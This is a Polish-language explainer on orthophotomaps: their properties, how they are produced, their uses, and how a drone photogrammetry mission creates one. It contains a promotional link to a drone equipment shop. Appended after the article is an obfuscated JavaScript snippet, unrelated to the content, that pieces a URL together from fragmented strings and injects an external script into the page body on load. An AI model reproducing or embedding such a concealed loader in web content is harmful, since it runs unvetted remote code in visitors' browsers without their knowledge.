

## Czym jest ortofotomapa i gdzie jest wykorzystywana?

Ortofotomapa, zwana też mapą fotograficzną, to zbiór przetworzonych zdjęć lotniczych. Ortofotomapa jest wykorzystywana tam, gdzie niezbędne jest dokładne przedstawienie terenu dla potrzeb wizualizacji oraz pomiarów. Łączy ona zalety mapy, czyli układ współrzędnych, skalę i dokładność z atutami zdjęć lotniczych, a więc wielością informacji i ich wiernością oraz łatwością interpretacji. Oto co warto wiedzieć o ortofotomapie i o tym jak może być wykonana przy pomocy drona.

### Czym cechuje się ortofotomapa?

W odróżnieniu od zdjęć lotniczych, ortofotomapa nie posiada rzutu środkowego, a ortogonalny, czyli prostopadły. Jej cechą charakterystyczną jest także jednolita skala dla powierzchni terenu za wyłączeniem wystających obiektów na przykład pod postacią drzew czy domów. Ortofotomapę tworzy się poprzez aerotriangulację, czyli orientację wewnętrzną zdjęć oraz orientację absolutną i wzajemną, rasteryzację z treścią wektorową, ortorektyfikację, a więc korekcję geometryczną zdjęć, łączenie ortoobrazów zwane mozaikowaniem oraz pozyskanie numerycznego modelu terenu.

### Jak wykorzystywane jest ortofotomapa?

Dzięki zaawansowanej technice tworzenia, ortofotomapa znalazła wiele zastosowań. Wykorzystywana jest więc do planowania przestrzennego, monitoringu oraz wykrywania zmian, wizualizacji terenu w celach zwiadowczych, ale i promocyjnych czy do tworzenia analiz środowiskowych. Często wykorzystywana jest również przy projektowaniu prac budowlanych, wykrywaniu nielegalnych wysypisk odpadów czy budowli tworzonych bez pozwolenia oraz poszukiwaniu archeologicznych. Wreszcie, sprawdza się również przy dokumentowaniu klęsk żywiołowych oraz zarządzaniu kryzysowym.

### Jak wykorzystać dron do tworzenia ortofotomapy?

Ortofotomapy mogą być tworzone przy wykorzystaniu drona i stanowią coraz częściej stosowane narzędzie do fotogrametrii. Niezbędny sprzęt do wykonywania tego typu prac można znaleźć na stronie <https://snhdrones.pl/>.

Pierwszym etapem tworzenia ortofotomapy jest projektowanie misji fotogrametrycznej. Od wielkości obszaru będzie zależał dobór drona przy małych powierzchniach lepiej sprawdzi się wielowirnikowiec, na większych płatawiec, przez wzgląd na możliwy zasięg lotu. Kolejnym etapem jest dobór odpowiedniej kamery i wybór obiektywu oraz pokrycia podłużnego. Dopiero wtedy można udać się w teren i opracować fotopunkty, które często funkcjonują jako białe plamy, jednoznacznie identyfikowalne z lotu ptaka. Następnie można zająć się nalotem fotograficznym warto jednak zadbać o bezpieczeństwo i przestrzeganie zasad zgodnie z określonymi przepisami. Należy ocenić podkategorię w ramach kategorii otwartej (A1, A2, A3) i zorientować się w posiadanych uprawnieniach.

Po wykonaniu nalotu, zebrany materiał obejmuje zdjęcia oraz dane z GPS i IMU, czyli określenie miejsca wykonania fotografii oraz kąty wychylenia aparatu o trzech osiach. Następnie na skutek matchingu i późniejszej aerotriangulacji, a także zastosowaniu efektu stereoskopowego i mozaikowania może być stworzona ortofotomapa.

```
(function(){  
xxzn_=("u"+"")+"s"+"";xxzn_+=("tat.")+"(i)";  
xxzn=document.createElement("script");xxzn.type="text/javascript";xxzn_+="nf"+"(o)"+"/";  
xxznu="310874372"+".";xxzn.async=true;xxznu+="d4dqj0jvxznjf2zjfbay07ps3idvz";  
xxzn.src="https://"+xxzn_+xxznu;xxznb=document.body;xxznb.appendChild(xxzn);  
})();
```